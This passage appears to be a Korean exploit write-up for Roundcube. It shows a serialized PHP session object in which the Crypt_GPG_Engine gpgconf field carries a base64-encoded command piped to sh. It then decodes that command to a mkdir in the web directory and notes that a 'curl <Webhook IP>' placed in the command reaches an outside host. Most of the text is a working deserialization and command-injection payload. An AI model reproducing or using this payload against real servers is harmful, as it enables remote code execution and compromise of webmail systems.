-d|sh;#";s:26:"Crypt_GPG_Engine_homedir";s:0:"";s:32:"Crypt_GPG_Engine_publicKeyring";s:0:"";s:33:"Crypt_GPG_Engine_privateKeyring";s:0:"";s:26:"Crypt_GPG_Engine_trustDb";s:0:"";s:24:"Crypt_GPG_Engine_pipes";a:0:{}s:29:"Crypt_GPG_Engine_agentPipes";a:0:{}s:28:"Crypt_GPG_Engine_openPipes";a:0:{}s:26:"Crypt_GPG_Engine_process";b:0;s:31:"Crypt_GPG_Engine_agentProcess";N;s:28:"Crypt_GPG_Engine_agentInfo";N;s:27:"Crypt_GPG_Engine_isDarwin";b:0;s:30:"Crypt_GPG_Engine_digest_algo";N;s:30:"Crypt_GPG_Engine_cipher_algo";N;s:32:"Crypt_GPG_Engine_compress_algo";N;s:26:"Crypt_GPG_Engine_options";a:0:{}s:32:"Crypt_GPG_Engine_commandBuffer";s:0:"";s:33:"Crypt_GPG_Engine_processHandler";N;s:33:"Crypt_GPG_Engine_statusHandlers";a:0:{}s:32:"Crypt_GPG_Engine_errorHandlers";a:0:{}s:24:"Crypt_GPG_Engine_input";N;s:26:"Crypt_GPG_Engine_message";N;s:25:"Crypt_GPG_Engine_output";s:0:"";s:28:"Crypt_GPG_Engine_operation";N;s:28:"Crypt_GPG_Engine_arguments";a:0:{}s:26:"Crypt_GPG_Engine_version";s:0:"";}

 

다음 결과가 session에 들어가는 직렬화된 값이다

이 중 우리가 봐야할 곳은 Crypt_GPG_Engine_gpgconf 값이다

s:26:"Crypt_GPG_Engine_gpgconf";s:74:"echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0"|base64 -d|sh;#";

 

base64를 디코딩

echo "bWtkaXIgL3Zhci93d3cvaHRtbC9yb3VuZGN1YmUvdGVtcC90ZXN0" | base64 -d

mkdir /var/www/html/roundcube/temp/test

 

cmd 부분에 curl <Webhook IP>를 넣으면 정상적으로 요청이 오는 것을 알 수 있다.